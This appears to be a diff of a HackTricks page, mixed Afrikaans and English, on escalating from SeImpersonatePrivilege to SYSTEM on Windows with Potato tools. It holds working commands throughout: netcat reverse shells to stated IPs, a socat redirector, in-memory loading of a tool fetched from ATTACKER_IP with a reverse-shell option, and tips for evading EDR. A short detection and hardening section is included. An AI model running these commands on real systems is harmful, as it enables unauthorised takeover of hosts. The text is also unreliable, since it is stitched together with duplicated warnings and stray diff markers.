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src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md
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{{#include ../../banners/hacktricks-training.md}}
> [!WARNING] > **JuicyPotato werk nie** op Windows Server 2019 en Windows 10 weergawe 1809 en later nie. Tog kan [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** gebruik word om **die selfde voorregte te benut en `NT AUTHORITY\SYSTEM`** vlak toegang te verkry. Hierdie [blogpos](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) gaan in diepte in op die `PrintSpoofer` hulpmiddel, wat gebruik kan word om impersonasie voorregte op Windows 10 en Server 2019 gasheer te misbruik waar JuicyPotato nie meer werk nie.
> [!WARNING]
> **JuicyPotato doesn't work** on Windows Server 2019 and Windows 10 build 1809 onwards. However, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** can be used to leverage the same privileges and gain `NT AUTHORITY\SYSTEM` level access. This [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) goes in-depth on the `PrintSpoofer` tool, which can be used to abuse impersonation privileges on Windows 10 and Server 2019 hosts where JuicyPotato no longer works.
## Quick Demo
> [!TIP]
> A modern alternative frequently maintained in 2024–2025 is SigmaPotato (a fork of GodPotato) which adds in-memory/.NET reflection usage and extended OS support. See quick usage below and the repo in References.
Related pages for background and manual techniques:
{{#ref}}
seimpersonate-from-high-to-system.md
{{#endref}}
{{#ref}}
from-high-integrity-to-system-with-name-pipes.md
{{#endref}}
{{#ref}}
privilege-escalation-abusing-tokens.md
{{#endref}}
## Requirements and common gotchas
All the following techniques rely on abusing an impersonation-capable privileged service from a context holding either of these privileges:
- SeImpersonatePrivilege (mees algemeen) or SeAssignPrimaryTokenPrivilege
- High integrity is not required if the token already has SeImpersonatePrivilege (typies vir baie service-accounts soos IIS AppPool, MSSQL, etc.)
Kontroleer privileges vinnig:
```cmd
whoami /priv | findstr /i impersonate
```
Operasionele aantekeninge:
- PrintSpoofer benodig dat die Print Spooler-diens loop en bereikbaar is via die plaaslike RPC-endpoint (spoolss). In geharde omgewings waar Spooler na PrintNightmare gedeaktiveer is, verkies RoguePotato/GodPotato/DCOMPotato/EfsPotato.
- RoguePotato vereis 'n OXID-resolver wat op TCP/135 bereikbaar is. As egress geblokkeer is, gebruik 'n redirector/port-forwarder (sien voorbeeld hieronder). Ouer builds het die -f flag benodig.
- EfsPotato/SharpEfsPotato misbruik MS-EFSR; as een pipe geblokkeer is, probeer alternatiewe pipes (lsarpc, efsrpc, samr, lsass, netlogon).
- Error 0x6d3 tydens RpcBindingSetAuthInfo dui gewoonlik op 'n onbekende/nie-ondersteunde RPC-verifikasiediens; probeer 'n ander pipe/transport of verseker dat die teikendiens loop.
## Vinnige Demo
### PrintSpoofer
```bash
@ -21,12 +57,24 @@ c:\PrintSpoofer.exe -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd"
NULL
```
Aantekeninge:
- Jy kan -i gebruik om 'n interaktiewe proses in die huidige konsole te begin, of -c om 'n eenreëler te hardloop.
- Vereis die Spooler service. As dit gedeaktiveer is, sal dit misluk.
### RoguePotato
```bash
c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -l 9999
# In some old versions you need to use the "-f" param
c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -f 9999
```
As uitgaande 135 geblokkeer is, pivot die OXID resolver via socat op jou redirector:
```bash
# On attacker redirector (must listen on TCP/135 and forward to victim:9999)
socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999
# On victim, run RoguePotato with local resolver on 9999 and -r pointing to the redirector IP
RoguePotato.exe -r REDIRECTOR_IP -e "cmd.exe /c whoami" -l 9999
```
### SharpEfsPotato
```bash
> SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a "whoami | Set-Content C:\temp\w.log"
@ -63,16 +111,51 @@ CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes su
nt authority\system
```
Wenk: As een pipe misluk of EDR dit blokkeer, probeer die ander ondersteunde pipes:
```text
EfsPotato <cmd> [pipe]
pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc)
```
### GodPotato
```bash
> GodPotato -cmd "cmd /c whoami"
# You can achieve a reverse shell like this.
> GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012"
```
Notes:
- Werk op Windows 8/8.1–11 en Server 2012–2022 wanneer SeImpersonatePrivilege aanwesig is.
### DCOMPotato
![image](https://github.com/user-attachments/assets/a3153095-e298-4a4b-ab23-b55513b60caa)
DCOMPotato bied twee variante wat service DCOM objects teiken wat standaard op RPC_C_IMP_LEVEL_IMPERSONATE ingestel is. Bou of gebruik die verskafde binaries en voer jou bevel uit:
```cmd
# PrinterNotify variant
PrinterNotifyPotato.exe "cmd /c whoami"
# McpManagementService variant (Server 2022 also)
McpManagementPotato.exe "cmd /c whoami"
```
### SigmaPotato (bygewerkte GodPotato fork)
SigmaPotato voeg moderne geriewe by soos in-memory execution via .NET reflection en 'n PowerShell reverse shell helper.
```powershell
# Load and execute from memory (no disk touch)
[System.Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData("http://ATTACKER_IP/SigmaPotato.exe"))
[SigmaPotato]::Main("cmd /c whoami")
# Or ask it to spawn a PS reverse shell
[SigmaPotato]::Main(@("--revshell","ATTACKER_IP","4444"))
```
## Opsporing en verhardingsnotas
- Moniteer vir prosesse wat named pipes skep en onmiddellik token-duplication APIs aanroep, gevolg deur CreateProcessAsUser/CreateProcessWithTokenW. Sysmon kan nuttige telemetrie verskaf: Event ID 1 (proses skepping), 17/18 (named pipe geskep/gekoppel), en command lines wat child processes as SYSTEM spawn.
- Spooler-verharding: Deaktiveer die Print Spooler service op bedieners waar dit nie benodig word nie om PrintSpoofer-styl plaaslike afdwingings via spoolss te voorkom.
- Diensrekening-verharding: Minimeer toewysing van SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege aan pasgemaakte dienste. Oorweeg om dienste onder virtuele rekeninge met die minste vereiste privileges te laat loop en hulle waar moontlik te isoleer met service SID en write-restricted tokens.
- Netwerkbeheer: Die blokkering van uitgaande TCP/135 of die beperking van RPC endpoint mapper-verkeer kan RoguePotato breek tensy ’n interne redirector beskikbaar is.
- EDR/AV: Al hierdie tools is wyd gesignatureer. Herkompilering vanaf bron, hernoem van symbols/strings, of gebruik van in-memory execution kan detectie verminder, maar sal soliede gedragsgebaseerde deteksie nie omseil nie.
## Verwysings
- [https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/)
@ -82,5 +165,7 @@ nt authority\system
- [https://github.com/BeichenDream/GodPotato](https://github.com/BeichenDream/GodPotato)
- [https://github.com/zcgonvh/EfsPotato](https://github.com/zcgonvh/EfsPotato)
- [https://github.com/zcgonvh/DCOMPotato](https://github.com/zcgonvh/DCOMPotato)
- [https://github.com/tylerdotrar/SigmaPotato](https://github.com/tylerdotrar/SigmaPotato)
- [https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/](https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/)
{{#include ../../banners/hacktricks-training.md}}